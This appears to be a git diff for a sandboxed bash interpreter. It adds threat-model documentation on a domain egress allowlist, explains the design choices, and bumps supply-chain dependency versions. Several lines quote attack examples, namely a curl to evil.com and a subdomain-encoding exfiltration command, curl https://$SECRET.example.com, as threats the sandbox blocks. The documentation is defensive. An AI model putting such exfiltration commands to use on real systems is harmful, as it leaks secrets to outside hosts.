diff --git a/crates/bashkit/docs/threat-model.md b/crates/bashkit/docs/threat-model.md index 66b3920..cfa9603 100644 --- a/crates/bashkit/docs/threat-model.md +++ b/crates/bashkit/docs/threat-model.md @@ -162,6 +162,33 @@ let bash = Bash::builder() // curl https://evil.com → blocked (exit 7) ``` +**Domain Allowlist (TM-NET-015, TM-NET-016):** + +For simpler domain-level control, `allow_domain()` permits all traffic to a domain +regardless of scheme, port, or path. This is the virtual equivalent of SNI-based +egress filtering — the same approach used by production sandbox environments. + +```rust,ignore +use bashkit::{Bash, NetworkAllowlist}; + +// Domain-level: any scheme, port, or path to these hosts +let allowlist = NetworkAllowlist::new() + .allow_domain("api.example.com") + .allow_domain("cdn.example.com"); + +// Both of these are allowed: +// curl https://api.example.com/v1/data +// curl http://api.example.com:8080/health +``` + +Trade-off: domain rules intentionally skip scheme and port enforcement. Use URL +patterns (`allow()`) when you need tighter control. Both can be combined. + +**No Wildcard Subdomains (TM-NET-017):** + +Wildcard patterns like `*.example.com` are not supported. They would enable data +exfiltration by encoding secrets in subdomains (`curl https://$SECRET.example.com`). + ### Injection Attacks (TM-INJ-*) | Threat | Attack Example | Mitigation | diff --git a/specs/006-threat-model.md b/specs/006-threat-model.md index dcfcad0..14edef9 100644 --- a/specs/006-threat-model.md +++ b/specs/006-threat-model.md @@ -428,6 +428,9 @@ allowlist.allow("https://api.example.com"); | TM-NET-005 | Port scanning | `curl http://internal:$port` | Port must match allowlist | **MITIGATED** | | TM-NET-006 | Protocol downgrade | HTTPS → HTTP | Scheme must match | **MITIGATED** | | TM-NET-007 | Subdomain bypass | `evil.example.com` | Exact host match | **MITIGATED** | +| TM-NET-015 | Domain allowlist scheme bypass | `allow_domain()` permits both http and https | By design; use URL patterns for scheme control | **BY DESIGN** | +| TM-NET-016 | Domain allowlist port bypass | `allow_domain()` permits any port | By design; use URL patterns for port control | **BY DESIGN** | +| TM-NET-017 | Wildcard subdomain exfiltration | `curl https://$SECRET.example.com` | Wildcards not supported; exact domain match only | **MITIGATED** | **Current Risk**: LOW - Strict allowlist enforcement @@ -546,6 +549,54 @@ Script: curl https://api.example.com/data - 47: Max redirects exceeded - 63: Response too large +#### 5.6 Domain Egress Allowlist Design Rationale + +Bashkit's network allowlist uses **literal host matching** — the virtual equivalent of +SNI (Server Name Indication) filtering on TLS client-hello headers. This is the same +approach used by production sandbox environments (e.g., Vercel Sandbox) for egress +control. + +**Why not DNS-based filtering?** +Scripts can hardcode IP addresses, bypassing any DNS-level controls entirely. + +**Why not IP-based filtering?** +A single IP address can host many domains (shared hosting, CDNs, cloud load balancers). +Blocking/allowing by IP is too coarse-grained. + +**Why not an HTTP proxy?** +Proxies only work for HTTP traffic and require applications to be configured to use them +(or respect `HTTP_PROXY` env vars). They don't cover other TLS-based protocols like +database connections. + +**Why literal host / SNI matching?** +SNI filtering inspects the `server_name` extension in the TLS client-hello, which the +client must send in cleartext before encryption begins. This works for all TLS traffic +regardless of protocol. Since bashkit controls the HTTP layer and provides no raw socket +access, literal host matching in the allowlist achieves equivalent coverage — every +outbound connection goes through the `HttpClient`, which checks the hostname against the +allowlist before any network I/O occurs. + +**Domain allowlist vs URL patterns:** + +The `allow_domain()` API provides a simpler interface when callers only need domain-level +control: + +| Capability | `allow_domain()` | `allow()` (URL pattern) | +|------------|-------------------|-------------------------| +| Scheme enforcement | No (any scheme) | Yes (exact match) | +| Port enforcement | No (any port) | Yes (exact match) | +| Path restriction | No (any path) | Yes (prefix match) | +| Simplicity | High | Medium | + +Callers requiring scheme or port enforcement should use URL patterns (`allow()`) instead +of domain rules. Both rule types can be combined on the same allowlist; a URL is permitted +if it matches **either** a domain rule or a URL pattern. + +**Wildcard subdomains:** +Wildcard patterns (e.g., `*.example.com`) are deliberately **not supported**. They enable +data exfiltration by encoding secrets in subdomains: `curl https://$SECRET.example.com`. +Only exact domain matches are allowed (TM-NET-017). + --- ### 6. Multi-Tenant Isolation @@ -834,6 +885,7 @@ This section maps former vulnerability IDs to the new threat ID scheme and track | Path normalization | TM-ESC-001, TM-INJ-005 | `fs/memory.rs` | Yes | | No symlink following | TM-ESC-002, TM-DOS-011 | `fs/memory.rs` | Yes | | Network allowlist | TM-INF-010, TM-NET-001 to TM-NET-007 | `network/allowlist.rs` | Yes | +| Domain allowlist | TM-NET-015, TM-NET-016, TM-NET-017 | `network/allowlist.rs` | Planned | | Sandboxed eval/bash/sh, no exec | TM-ESC-005 to TM-ESC-008, TM-ESC-015, TM-INJ-003 | `interpreter/mod.rs` | Yes | | Fail-point testing | All controls | `security_failpoint_tests.rs` | Yes | | Builtin panic catching | TM-INT-001, TM-INT-002, TM-INT-006 | `interpreter/mod.rs` | Yes | diff --git a/supply-chain/config.toml b/supply-chain/config.toml index 467b295..c74fd0d 100644 --- a/supply-chain/config.toml +++ b/supply-chain/config.toml @@ -106,6 +106,10 @@ criteria = "safe-to-deploy" version = "0.37.0" criteria = "safe-to-deploy" +[[exemptions.aws-lc-sys]] +version = "0.37.1" +criteria = "safe-to-deploy" + [[exemptions.base64]] version = "0.22.1" criteria = "safe-to-deploy" @@ -195,7 +199,7 @@ version = "4.5.57" criteria = "safe-to-deploy" [[exemptions.clap]] -version = "4.5.57" +version = "4.5.58" criteria = "safe-to-deploy" [[exemptions.clap_builder]] @@ -203,7 +207,7 @@ version = "4.5.57" criteria = "safe-to-deploy" [[exemptions.clap_builder]] -version = "4.5.57" +version = "4.5.58" criteria = "safe-to-deploy" [[exemptions.clap_derive]] @@ -214,6 +218,10 @@ criteria = "safe-to-deploy" version = "0.7.7" criteria = "safe-to-deploy" +[[exemptions.clap_lex]] +version = "1.0.0" +criteria = "safe-to-deploy" + [[exemptions.cmake]] version = "0.1.57" criteria = "safe-to-deploy"